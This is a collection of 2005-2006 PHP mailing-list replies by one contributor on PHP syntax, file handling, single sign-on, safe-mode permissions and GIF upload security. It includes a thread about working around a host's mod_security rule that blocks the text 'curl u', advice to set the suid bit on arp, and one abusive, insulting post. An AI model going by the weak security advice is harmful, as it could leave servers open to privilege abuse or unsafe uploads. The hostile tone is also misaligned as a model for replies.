2006-04-08 Thread Rory Browne
?=expression ?

?php echo expression; ?

On 4/8/06, Merlin [EMAIL PROTECTED] wrote:

 Hi there,

 I am somehow confused about the this command: ?=

 What does the equetion sigh mean?

 I would like to replace the ?= sign inside this line:


  ?= $ajax-loadJsApp(true) ?

 so I could do something like this:
 ?php
  $ajax-loadJsApp(true);
  echo 'test';
 ?

 But this does not work. Some how this equetion sign has something to do
 with it.

 Thank you for any hint,

 Merlin

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Re: make global variables accessible to functions?

2006-04-08 Thread Rory Browne
I have to agree with passing them as opposed to accessing them from inside
the function

Clean
$a = whatever;
function foo($a){
echo $a;
}

Ugly
$a = whatever;
function foo(){
global $a;
echo $a;
}

Unless the variables in question are for all intents and purposes constant (
real constants can't be arrays ), ie for example configuration vars, I would
avoid making them global.

Having that said, it's your code..


Re: [PHP] Zend Certification

2006-04-07 Thread Rory Browne
My info may be dated but AFAIK the exam is $200 - so what if you have to
take one one month and another the next? That (assuming PHP5 was the same
price) would still only be $400. I don't want to sound petty, but what's
another $200 for a second certification - having both will give you that
long_time_user status.

On 4/7/06, Jad madi [EMAIL PROTECTED] wrote:

 If taking the exam now makes different to you then go for it, actually I
 scheduled the exam 29 April bluntly just for the sake of salary
 increment heh



 On Fri, 2006-04-07 at 14:33 -0700, Ray Hauge wrote:
  Hello All,
 
  I've been thinking about taking the ZCE test.  I want to, but I also
 want it
  to be current for as long as possible.  Should I wait for it to be
 revised
  for PHP5, or are they even going to update it?  I just don't want to end
 up
  taking it and then a few months later have it be outdated because it
 was
  for PHP4, and not PHP5.
 
  Thanks,
  --
  Ray Hauge
  Programmer/Systems Administrator
  American Student Loan Services
  www.americanstudentloan.com
  1.800.575.1099
 

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] where php at?

2006-03-27 Thread Rory Browne


 Jim Moseby:

 On second thought, I'm really not sorry to have brother you -- you
 don't have to reply to any request for help on this list.



Two-Faced SOB - One minute you're sorry, the next you're not. Make up your
gd Mind.


Furthermore, I'm not asking you to provide me with how to connect to
 my host's server -- I've done that and that's not the problem. What
 I was asking for was some help, which Warren was capable of both
 understanding and providing.

That's being pedantic. Da monsewers point still stands. If your host can't
give you details of its host, we would have difficulty given that we don't
have access to them. It would probably fall on the point that Warren managed
to write a script to extract the details - but that wasn't the point you
made.



Now maybe you didn't mean to come off as you did, but if positions
 were reversed, I like to think I wouldn't.


How would you like to come across? As an ungrateful SOB who can't take some
constructive critisism? You have some growing up to do before entering el
big bad world. Babies these days...

I'll add more to this tomorrow morning when I'm sober.



tedd
 --

 
 http://sperling.com

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Howto Execute PHP as script owner/group without CGI?

2006-03-22 Thread Rory Browne
suexec for the perl/cgi or anything_else/cgi for that matter.

suphp for PHP.

If speed is an issue, then you may like to consider suexec and fastcgi.

On 3/22/06, chris smith [EMAIL PROTECTED] wrote:

 On 3/22/06, Mathijs [EMAIL PROTECTED] wrote:
  chris smith wrote:
   On 3/22/06, Mathijs [EMAIL PROTECTED] wrote:
   chris smith wrote:
   I Want to know if it is possible to execute PHP(5) as the
 owner/group of
   the script it self.
  
   At the moment saved files get owner and group nobody.
   When i upload through ftp, it gets the normal owner and group
 nobody.
  
   Is there a way that i can set both owner and group to
   'myuser-groupname', and let apache or php execute it with that
 owner/group?
   No. Only the 'root' user can change user/group.
  
   --
   Postgresql  php tutorials
   http://www.designmagick.com/
   That i know,
   But isn't there something like suexec or something for the apache
 module
   of php5 to let it execute as another user?
  
   Some hosts let you compile your own cgi version to use instead of the
   main module and run everything through that instead of the apache
   module.. not sure if that's an option for you.
  
   What problem are you trying to solve exactly?
  
 
  for one, security.
  Now group has write access else apache/php can't write to any file.
  Group is nobody, and therefore everybody who has an virtual-host can
  access the files as group.
 
  PHP Safe-mode is on, but this doesn't stop perl/cgi.
 
  I want it so that owner and group are both 500 for example.
  Thisway i can set some files to public read only, and no one can access
  the files anymore except the user him self :).

 I was going to suggest open_basedir restrictions might help but that
 won't stop perl/cgi scripts either..

 I think you're stuck :(

 --
 Postgresql  php tutorials
 http://www.designmagick.com/

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] LDAP and Single Sign On MORE THOUGHTS

2006-03-10 Thread Rory Browne
I've got a bit lost on this, but assuming that we are talking about an
intranet enviornment, with windows/IE6 clients, and apache servers, then
personally:

I would check logins based on a valid session. If the user doesn't have a
session they aren't logged in. Store the username in the session variable.
PHP session variables are AFAIK designed to be hard to detect and fake.

Any code that is run under a http:// website ( as opposed to an ssl or
https:// one ), reads the session(ie does not write to it). Any
authentication should be done using a script accessed over https, protected
by mod_auth_kerb.

The http:// script would be accessed by the person when they first access
the protected site. The protected site would detect that the user is not
logged in, and redirect them to the authentication site(which is behind
mod_auth_kerb, and https), which would create the session, and redirect the
user back, to the page where they originally tried to access.


Re: [PHP] .DAT file with PHP

2006-03-09 Thread Rory Browne
I didn't get the file, but

If the lines are seperated by br's instead of newlines, then

$filename = monkey.html;
$file_array = preg_split(/br.*?/, file_get_content($filename));
$rev_array = array_reverse($file_array);
$output = join(br /, $rev_array);

This could be modded to maintain any arguments inside the br tag, by
replacing preg_replacing br.*? with $1\n, and then splitting on \n.


On 3/9/06, Paul Novitski [EMAIL PROTECTED] wrote:

 At 07:05 PM 3/8/2006, Jabez wrote:
 I used the following code that Paul suggested, but it didn't reverse my
 content.
 
 The file I would want to have the content reversed is as attached.
 Chinese
 characters is in the file so...
 
 Suggestions?


 Jabez,

 The data in your file is all in one text line.  You have inserted the
 string br between what I assume are your data elements, but not
 PHP linefeed characters.

 Try using \n (backslash-n) as your line delimiter and try again.

 By the way, I neglected to tell you earlier that when file() reads a
 file into an array, it includes the linefeed characters at the end of
 each array element.  These might or might not get in your way if
 you're outputting your data to an HTML file -- a linefeed will render
 as a whitespace character.  If you'll be writing the data to another
 text file where linefeeds are crucial, you may wish to massage the
 array to ensure that every array element (including the last one read
 from the original file) ends in \n.

 Regards,
 Paul

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] .DAT file with PHP

2006-03-08 Thread Rory Browne
$filename = filename.txt;
$file_content = join(\n, array_reverse(file($filename)));
echo $file_content;

Questions?

BTW I haven't tested this, so it may be completely wrong.






On 3/8/06, Paul Novitski [EMAIL PROTECTED] wrote:

 At 07:41 AM 3/8/2006, Jabez Gan wrote:
 Sorry im new but, how do we read from a file to an array? I've studied C
 but
 not with PHP and it's not working for me... Suggestions?


 file()
 Reads entire file into an array
 http://php.net/file

 Doesn't require open  close.

 Paul

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] LDAP and Single Sign On

2006-03-08 Thread Rory Browne
Kerberos - there is an apache module for it.

On 3/7/06, Justin Cook [EMAIL PROTECTED] wrote:

 We are developing an intranet for my company. I would like to implement a
 single sign on service. We have Active Directory on one server and the
 intranet is being housed on a Redhat Linux server. When the internal user
 pulls up the intranet, I would like it to check to see if they successfully
 joined the domain when they logged into their personal machine, if so they
 do not need to log on to the intranet. Does anybody have any links to
 tutorials on this? Thanks!



Re: [PHP] .DAT file with PHP

2006-03-08 Thread Rory Browne
On 3/8/06, Paul Novitski [EMAIL PROTECTED] wrote:

 At 10:27 AM 3/8/2006, Rory Browne wrote:
 $filename = filename.txt;
 $file_content = join(\n, array_reverse(file($filename)));
 echo $file_content;


 Rory,

 I think you've got the logic right.

 Tangentially, however, I recommend that you break it out into
 separate statements and not throw multiple functions into the same
 statement -- it's hard to proofread, it's hard to pinpoint where
 errors occur, and it's next to impossible to insert echo statements
 to debug the process.  Also for ease of debugging  maintenance, I
 recommend indicating the type of each variable with a prefix
 (a=array, s=string, etc.):


Different strokes for different folks. Code presention is something I take
very seriously, but I don't consider using the return value of one function
as a parameter for another to be a bad thing.

Meaningful, or conventional variables are another thing I take seriously. If
I wanted to keep track of types I'd use C++ or Java. I don't have a problem
with something like:


 $sFilename = filename.txt;
  $aFile_content = file($sFilename);
  $aFile_reverse = array_reverse($aFile_content);
  $sDisplay_content = join(\n, $aFile_reverse);
  echo $sDisplay_content;

 I don't think PHP will care whether it's broken out or not --
 internally it's having to create temporary variables on the fly to
 store incremental values -- but your future self and other folks
 reading your code will thank you for it.

 Regards,
 Paul




Re: [PHP] .DAT file with PHP

2006-03-08 Thread Rory Browne
last mail got accidently sent before completion - please reply to that, or
the OP and not this.

I don't have much of a problem with code that takes a less blatent
inspiration of the following:

$file = filename.txt;
$file = file_get_contents($file);
$file = explode(\n, $file);
$file = array_reverse($file);
$file = join(\n, $file);

echo $file;

I do however consider

$filename - whatever.txt;  I perfer to abstract configuration issues
$rev_content = join(\n, array_reverse(file($file)))';
echo $rev_contaent;


to be cleaner




Re: [PHP] [JOB] LAMP Developers, Los Angeles | 70-120k

2006-03-05 Thread Rory Browne
Maybe I'm being hypocritic, and possibly wouldn't have this problem, if it
was a job that only EU Citizens(as opposed to only US Citizens) could apply
for, but I think it's a bit disrespectful, sending mails like this to an
international audience - especially when you send so many of them.

On 3/5/06, Beau Gould [EMAIL PROTECTED] wrote:

 LAMP Developers, Los Angeles | 70-120k

 LAMP Developers needed at all skill levels for multiple Los Angeles
 clients for full time, on-site jobs ranging from 70-120k + full benefits.

 Candidates must be authorized to work in the United States and be local to
 the Los Angeles, CA area.

 * At least 2 years of professional PHP web development experience
 * Good to expert knowledge of PHP, including knowledge of OO programming a
 plus
 * Strong experience with MySQL/SQL and creating database schemas.
 * Experience with HTML, CSS and JavaScript.
 * Knowledge of Unix/Linux.
 * Knowledge of Apache web server.

 Please send resume and full time salary requirements to
 [EMAIL PROTECTED]

 --
 No virus found in this outgoing message.
 Checked by AVG Free Edition.
 Version: 7.1.375 / Virus Database: 268.1.2/274 - Release Date: 3/3/2006


 --
 PHP General Mailing List ( http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] not sure, what now

2006-02-25 Thread Rory Browne
On 2/25/06, Schalk [EMAIL PROTECTED] wrote:

 Greetings All,

 I am pretty new to PHP and are tasked to move a clients site from:

 www.domain.com/somedirectory/home.php to www.home.php

Is there a .php tld?



Sounds simple at first but, when I moved the files to the root of the
 httpdocs I get an array of errors in the vain of:
 *Warning*: main(): open_basedir restriction in effect.
 File(../inc/siteconfig.php) is not within the allowed path(s):
 (/home/httpd/vhosts/sealbeachprofessionals.com/httpdocs:/tmp) in
 /home/httpd/vhosts/sealbeachprofessionals.com/httpdocs/home.php on line 1

 What exactly does this mean? I am sure there must be a config somewhere
 that has set it up to load from the sub directory and now it prevents it
 from loading from the root directory. Is this correct? What exactly does
 this error mean? Thanks to all!*

Make a phpinfo file(google for phpinfo), and check it for a configureation
path. It will probably be something like /etc/php.ini or /etc/php/php.ini,
or /this/that/something/else/php.ini. Open up this php.ini file and check
for the open_basedir


Re: [PHP] Subtracting Large Numbers

2006-02-19 Thread Rory Browne
I would guess integer overflow.

On 2/17/06, Bruce [EMAIL PROTECTED] wrote:

 I am puzzled by the following code:

 ?php
 print pMaxInt=.PHP_INT_MAX;
 $AA = -190668411;
 $BB = -2181087916;
 print brAA=$AA;
 print brBB=$BB;
 $AA = (int)$AA + (int)$BB;
 print brAA+BB=$AA;
 ?

 On some systems, I get:

 MaxInt=2147483647
 AA=-190668411
 BB=-2181087916
 AA+BB=-2338152059

 On others, I get:

 MaxInt=2147483647
 AA=-190668411
 BB=-2181087916
 AA+BB=1923210969

 Why the difference?

 Thanks...Bruce

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Downloading very large files

2006-02-13 Thread Rory Browne
I've seen this problem many times before, but I'm not sure what solution was
found.

Possible solutions:

Encrypt the file, make it publicly available, and then give the right people
the encryption key.

Put it behind a .htaccess file allowing only the IP of the correct person -
remove the .htaccess entry after a certain lengh of time.

Why are the videos secure? Copyright? Privacy? Bandwidth?


On 2/13/06, Jonathan Duncan [EMAIL PROTECTED] wrote:

 I have an application that delivers files to the client browser.  These
 files a very large video files.  250mb+ each.  I have two options:  1) I
 could have PHP deliver the file with fread, or 2) I could have PHP
 present a link to the file.  However, for security purposes, I would
 rather not have the actual files available.  I suppose I could have PHP
 create temporary symbolic links on the file system that link to the files
 in question and then remove the links, thus requiring the users to go
 through an authentication process to retrieve files that are assigned to
 them.

 Anyway, downloading such large files causes PHP to balk with size
 limitation errors.  I could increase the size limit and memory limit
 settings in php.ini, but for file sizes that large, is it recommended?
 Are there best practice limits on these settings:  max_input_time,
 memory_limit, max_execution_time, etc.?

 Thanks,
 Jonathan

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Flatfile forum?

2006-02-12 Thread Rory Browne
I'm not sure what you mean.

10 different programmers would do this 10 different ways.

Personally I'd create a forum-data manipulation API, and then create a
frontend to access this.

I suggest you abstract the data access routines into an API of its own, so
that when you come to your senses, you can change it to a proper db.



-Original Message-
 From: Nicholas Couloute [mailto:[EMAIL PROTECTED]
 Sent: Sunday, February 12, 2006 5:35 PM
 To: php-general@lists.php.net
 Subject: [PHP] Flatfile forum?

 I am interested in creating a flatfile database forum! How would I go
 about
 doing this. I know it has been done before! I want to make one from the
 ground up!
 ~Nick Couloute
 co-owner/Web Designer
 Sidekick2Music.Com

 --
 PHP General Mailing List (http://www.php.net/) To unsubscribe, visit:
 http://www.php.net/unsub.php

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Re: Array sizes?

2006-02-08 Thread Rory Browne
 At 01:05 AM 2/8/2006, Barry wrote:
 I don't think a function exists, but i would probably use (for
 benchmarking) a recursive foreach in combination with strlen.
 And add it all up.
 (This is probably some work for the PC so that's why benchmarking)


 It would be interesting to know whether that method was faster or
 slower than using this:

  $iLen = strlen(implode(, $aArray));



the problem I would have with the above code would be that it assumes
you're  using a single dimention array.

Recursive foreach:

function array_size($a){
$size = 0;
while(list($k, $v) = each($a)){
$size += is_array($v) ? array_size($v) : strlen($v);
}
return $size;
}

This could possibly be optimised even more by using references or something
like that.

eg
foreach(array_keys($a) as $k){
size = is_array($a[$k]) = array_size($a[$k]) : strlen($a[$k])

But I think that for the most part your time programming will be more
important than the programs time running.


Re: [PHP] Recompile PHP on pre-installed system

2006-02-08 Thread Rory Browne
If you're using a Redhat Enterprise version with a support contract then I
personally don't think you should attempt to run a non-redhat php binary.

Instead find out how redhat make their php-mysql or php-ldap or
php-{some_other_php_module} rpm, Make an RPM, and install it like you would
any other RPM.

Better still would be to upgrade to Debian( they have more php modules I
believe than RH), but that would require much more downtime than an apache
restart.

What module do you need?

On 2/7/06, Marcus Bointon [EMAIL PROTECTED] wrote:

 On 7 Feb 2006, at 11:13, Jochem Maas wrote:

  in theory your done, in practice something might bite you in the
  ass ...
  oh and then there is the issue of making sure that the redhat
  package manager really
  won't overwrite your handbuilt php install (cannot for the life of
  me remember what you have
  to do to make redhat ignore the php install).

 This might be of help: http://www.ae.iitm.ac.in/pipermail/ilugc/2005-
 August/020152.html

 You can edit those srpms to include whatever configure line switches
 you need.

 I run RHEL4, and my own compile of PHP, set up outside of rpm. You
 only need to worry about rpm getting confused if you use it to
 install any packages that are dependent on php, e.g. squirrelmail.
 Essentially either do ALL of your PHP setup and install through rpm
 or none of it. I'm quite happy handling PHP myself, and conflicts are
 rare as php is rarely a dependency for apps installed through rpm.

 Marcus
 --
 Marcus Bointon
 Synchromedia Limited: Putting you in the picture
 [EMAIL PROTECTED] | http://www.synchromedia.co.uk

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Reverse Engineering of Smarty

2006-02-05 Thread Rory Browne
If you don't have backups, then:

 1: Why do you not have backups?
 2: Are you insane?
 3: What filesystem, and file recovery techniques have you researched/attempted?
 4: Why do you not have backups?
 5: Are you insane?

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: Using API in other languages

2006-02-05 Thread Rory Browne
My point when I suggested that your best hope was something like
webservices was your best hope, was that there is no glue code(that I
know of) system.

Having that said, it just occured to me that phlanger and roadsend
provide this functionality. I forgot about these originally because
they're licensed under unacceptable licence terms (ie they require
payment, or don't allow you to redistribute, or to access source)

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Reverse Engineering of Smarty

2006-02-05 Thread Rory Browne
On 2/5/06, Sumeet [EMAIL PROTECTED] wrote:

 Rory Browne wrote:
  If you don't have backups, then:
 
   1: Why do you not have backups?
   2: Are you insane?

 hmm. totally uncalled for 


Are you insane? isn't considered rude where I'm from or anywhere I've
been?

If I'd wanted to be insulting there are a lot worse things I could have
said.

I also wanted to draw attn to the fact that backups aren't a bad thing (tm)


Re: [PHP] Using API in other languages

2006-02-04 Thread Rory Browne
I could be wrong on this, but I think your best hope is something
using web services like SOAP, or XML-RPC.

On 2/4/06, Eli [EMAIL PROTECTED] wrote:
 Hi,

 I have a class in PHP which offers some API functions. I want to access
 this API with other languages (such as C/C++, Java, Perl, etc), so the
 functions will run from PHP.
 How can I do that?

 -thanks.

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: php4 vs. php5

2006-02-03 Thread Rory Browne
On 2/3/06, Keith Proctor [EMAIL PROTECTED] wrote:
 I need to add two numbers together, unfortunately one of them is a
 string that starts with a character.  I'd like to convert a string
 such as 'x5' to the number 5.  Don't care about it's final type as
 that isn't the hard part. :)  I can't find a function to do this.  I
 looked in the math class and in the string class and there doesn't
 seem to be something to help.  I, of course, could write something to
 handle it but I would prefer to use something built in.  Any help
 would be appreciated.

preg_replace(/[^0-9]/, , $x)

I would expect intval to work as well, but aparently not.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: [Off] Cheap SSL certificates?

2006-02-03 Thread Rory Browne
 It appears that you never applied for a certificate before, or applied
 for certs from CAs that don't verify information.  Identification is
 extremerly important when it comes to knowing whether or not to trust
 the given public key.

Repeating your point doesn't make it more valid. I'm not trying to
humilate you, but Richard discredited what you said, by saying that
99% of visitors don't check who the cert is issued by anyway.

 I am not trying to humiliate you, but you may want to study about
 cryptography and its use for the internet.  I operate my own
 web/e-mail server (and have been doing so for some time), and so, I know
 how important it is to make sure a trustworthy CA signs a public key.

You know how important it is to *YOU* how important a trustworthy CA
is. You don't seem to know how important it is to anyone else. Granted
people *should* ( if they're worried about their encrypted information
falling into the wrong hands ) check who certs are issued by, but
personally I don't care enough about my webmail password to sift
through my pre-installed CA list, and determine which CA's I do, or do
not trust.

 I operate my own web/e-mail server
No offense, but so what? Do you think that makes you different from
most people here, many of whom administrate web, email, database, dns,
etc? You're on a technical list, and people who admin servers are the
norm rather than the exeception. I'm sorry if that seems a bit blunt,
but I thought the last reply was a bit arrogant.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Passing Credentials

2006-01-30 Thread Rory Browne
You're still not being very clear.

On 1/30/06, News1 [EMAIL PROTECTED] wrote:
 Hi.  I asked a similar question last, week, but I don't think I asked it
 correctly.  What I am trying to do is to web into a web server that I
 control (no problem here).

Web into a web server?

  However, from there, I want to be able to click
 a button on the web page and have multiple web cameras be displayed on my
 server's page (which I can do with frames, or some other method).  The issue
 I'm having is that I can't seem to pass the authentication credentials
 (username and password) along to the web cameras,

Are the webcams accessed directly, or through yours, or someone elses site?

 so each time I access them
 I have to supply the credentials.

 I would prefer to have to log into my server and from there have these
 credentials passed along to the web cameras.

 Any ideas on how to do this?

 Thanks!

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Passing Credentials

2006-01-30 Thread Rory Browne
Sounds like a job for the Session system.

On 1/30/06, News1 [EMAIL PROTECTED] wrote:
 Rory,

 Thanks for the feedback -- I will try to be clearer.

 Yes, I want to login into a web page and from there get to another webpage.

 The webcams are on my network.  I can access them directly; however, I would
 like to create a page where several are visible at once.  So, I would like
 to be able to log into a master page, if you will, and from there be able
 to access multiple webcam web pages from this master page.  Right now I
 can do it, but I have to authenticate for each webcam I access.  Since I am
 using authentication to access the master page, I would like to skip this
 step for the webcams and be able to access them directly and automatically
 pass the username/password credentials.

 Thanks again!  I hope this is clearer.

 -Original Message-
 From: Rory Browne [mailto:[EMAIL PROTECTED]
 Sent: Monday, January 30, 2006 5:28 PM
 To: News1
 Cc: php-general@lists.php.net
 Subject: Re: [PHP] Passing Credentials

 You're still not being very clear.

 On 1/30/06, News1 [EMAIL PROTECTED] wrote:
  Hi.  I asked a similar question last, week, but I don't think I asked it
  correctly.  What I am trying to do is to web into a web server that I
  control (no problem here).

 Web into a web server?

   However, from there, I want to be able to click
  a button on the web page and have multiple web cameras be displayed on my
  server's page (which I can do with frames, or some other method).  The
 issue
  I'm having is that I can't seem to pass the authentication credentials
  (username and password) along to the web cameras,

 Are the webcams accessed directly, or through yours, or someone elses site?

  so each time I access them
  I have to supply the credentials.
 
  I would prefer to have to log into my server and from there have these
  credentials passed along to the web cameras.
 
  Any ideas on how to do this?
 
  Thanks!
 
  --
  PHP General Mailing List (http://www.php.net/)
  To unsubscribe, visit: http://www.php.net/unsub.php
 
 

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php







--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] security of uploaded gif files

2006-01-22 Thread Rory Browne
Or put it in a directory with no PHP or CGI.

On 1/22/06, jonathan [EMAIL PROTECTED] wrote:
 this is a little my fault. the example my friend showed me was a
 retracing of the example he saw in Pro PHP Security (p284).
 Basically, the short of the example is that  a valid gif image could
 be uploaded with the extension .php and pass a getimagesize because
 it would have the necessary bytestream to think that it is a gif but
 that arbitrary php code could be appended at the end. To get around
 this, you just need to check for a valid file extension (.gif etc...)
 and mimetype.

 -jonathan


 On Jan 22, 2006, at 2:58 AM, Rory Browne wrote:

  I'd be a bit skeptical about the possibly of embedding PHP code inside
  a GIF file. Could you outline how he performed the task?
 
  On 1/22/06, jonathan [EMAIL PROTECTED] wrote:
  what is the best way to prevent malicious code from being uploaded
  via a .gif file? A friend showed me how php could be embedded within
  the .gif file. Does this problem also exist for .jpeg's?
 
  thanks,
 
  jon
 
  --
  PHP General Mailing List (http://www.php.net/)
  To unsubscribe, visit: http://www.php.net/unsub.php
 
 
 
  --
  PHP General Mailing List (http://www.php.net/)
  To unsubscribe, visit: http://www.php.net/unsub.php
 
 
 



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Earlier versions hurt PHP 5

2005-12-29 Thread Rory Browne
On 12/29/05, Rory Browne [EMAIL PROTECTED] wrote:
  Please don't make comments like removing older versions of PHP from the
  download page. We have delivered solutions to clients that run on PHP4.
  Those clients need the ability to conveniently download PHP4 in order to run
  our code.

 Why can't you make  your code PHP5 compatable? It seems to be to be a
 fairly small price to make your code future proof, which will have to
 be done eventually anyway.

 Personally I think that anyone who still writes new code that is
 incompatable with php5 should be shot, - in the leg before being
 buried alive.

  Happy New Year!!!


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PDF documentation

2005-12-27 Thread Rory Browne
/me thinks that the OP needs to DL the html.gz manual, procure
htmldoc, chant the magic incantation(i.e. type in the correct
command), and wait for his PDF document to appear.

On 12/25/05, Paul Waring [EMAIL PROTECTED] wrote:
 On 12/25/05, John Meyer [EMAIL PROTECTED] wrote:
  Hi,  does the PHP document come in a PDF form?

 No, it comes in the online format, HTML for offline viewing and
 Windows HTML help. However, there is a guide to editing the XML
 sources that can be found at the following URL:

 http://doc.php.net/php/dochowto/

 You might be able to use the sources and some tools to convert the
 documentation to PDF.

 Paul

 --
 Rogue Tory
 http://www.roguetory.org.uk

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP and email

2005-11-23 Thread Rory Browne
On 11/23/05, David Grant [EMAIL PROTECTED] wrote:
 Hi Angelo,

 Why not send them all in one go?  If you want to reduce server load, you
 should perhaps adjust the 'nice'ness of the script.

Because niceness would only affect the script itself and not any smtp
servers it comes across along the way.

renicing would make the script nice to the local computer, but sending
8000 in one go, will overload the remote smtp servers which do not
know the local nice value.


 If you do the following:

 nice --adjustment=19 ./script.php

 Your script will run in the background and use only spare resources.
but that will only affect the local machine.

You could adjust the bandwidth using trickle, but to answer the mans
question - it doesn't really matter. Personally I'd perfer the former,
but you have to make sure that your script doesn't time out by setting
some php.ini value(forget the name of it.)

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Get Mac Address

2005-10-11 Thread Rory Browne
 Hi Ben,

 Try:

 /* notice the backtics, and that arp on linux usually needs to run as root
Which means that you either have to install sudo, or set the suid bit.


 */
 $arpoutput = `/sbin/arp -a`;

Do a man arp on linux to see what form of the arp command you want.
It's a while since I used it.


 JM

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] str_replace

2005-10-10 Thread Rory Browne
I'm not completely sure, but I think they're talking shite. If curl is
a security problem, then disable curl. They seem from what you've
said, to be pretty irrational. I respect security paranoia, but this
is ridicules.

You could try replacing every letter in the word curl with it's #xxx;
equivlent, but that might not work. You would also have to do it in
JS, although I think that any browser with the exception on lynx has
JS capabilities.

On 10/10/05, Charles Stuart [EMAIL PROTECTED] wrote:
 Hi,

 I'm on shared hosting. Because of security concerns on their part
 [1], every time the text curl u is inputted, a 403 forbidden is
 given and the form is not submitted. This is of course a problem as
 I'm doing work for a children's literacy program, and plenty of
 people try to input curl up with a book.

 I'm trying to use 'str_replace' to solve this issue, but I can't seem
 to get around the 403 error.

 It appears as if the hosting service doesn't give me a chance to
 replace curl u with something else prior to them blocking the
 attempted submit.

 I can tell my str_replace is working as if I change the searched text
 to something other than curl u it does in fact replace it and
 submit it correctly.

 Anyone have any ideas for a workaround? My next thought is to use
 javascript, but I think the site serves quite a few people who might
 not have javascript on.

 Thanks for listening. Below is the PHP [2].


 best,

 Charles


 [2]
 // Grabbing the data from the form.

 if ($task == updateInfo)
  {
 $activityChallenges = cs_remove_curl_up(sanitize_paranoid_string
 ($_POST[activityChallenges]));
  }



 // change curl u to EDIT kurl u

 function cs_remove_curl_up($string, $min='', $max='')
 {
$string = str_replace(curl u, EDIT kurl u, $string);
$len = strlen($string);
if((($min != '')  ($len  $min)) || (($max != '')  ($len 
 $max)))
  return FALSE;
return $string;
 }



 [1]
 My host told me this:

 Mod_security is restricting this and blocks all url's with C-url.
 This is done because of some php worms that are spread using c-url. I
 would recommend trying to work around this. It will be a major
 security issue for us to allow this.

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] per user php.ini

2005-10-09 Thread Rory Browne
they probably use something along the lines of mapping PHP to php -c
$HOME/php.ini

In Linux this would generally be done using binfmt_misc.

On 10/9/05, James Benson [EMAIL PROTECTED] wrote:
 Nothing special on my configure line and the setting:-
 Configuration File (php.ini) Path looks like /home/USERNAME/public_html

 Only just noticed it's been switched over to CGI recently, It's also
 possible to have one php.ini per directory and the above mentioned
 setting always reflects the php.ini setting for that directory so must
 be something concerning httpd.



 JB






 Rory Browne wrote:
  why not upload a phpinfo() file and see?
 
  I'm personally not quite sure how this would work, and I'm interested
  in finding out.
 
  On 10/8/05, James Benson [EMAIL PROTECTED] wrote:
 
 Hey everyone, probably missed the bit in the manual but my current
 webhost allows uploading of my own php.ini to my home dir, my question
 is how to do this?
 
 My guess would be to set the ./configure line to something like
 --with-config-file-path=/home/*/public_html
 
 but I dont wanna re-compile if im wrong, can anyone tell me?
 
 Using apache-1.3.33, php-4.4.0
 
 Many thanks,
 James Benson.
 
 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php
 
 

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Get Mac Address

2005-10-09 Thread Rory Browne
On unix
man arp

on windows
arp/h
arp/help
arp/?

sorry for short and sweet resp, but I'm falling asleep.

On 10/9/05, Ben Sagal [EMAIL PROTECTED] wrote:
 I have a local intranet server, running apache1.3+php4.  Is it
 possible to get the mac address of computes which access on of my php
 pages?

 Ben

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Get Mac Address

2005-10-09 Thread Rory Browne
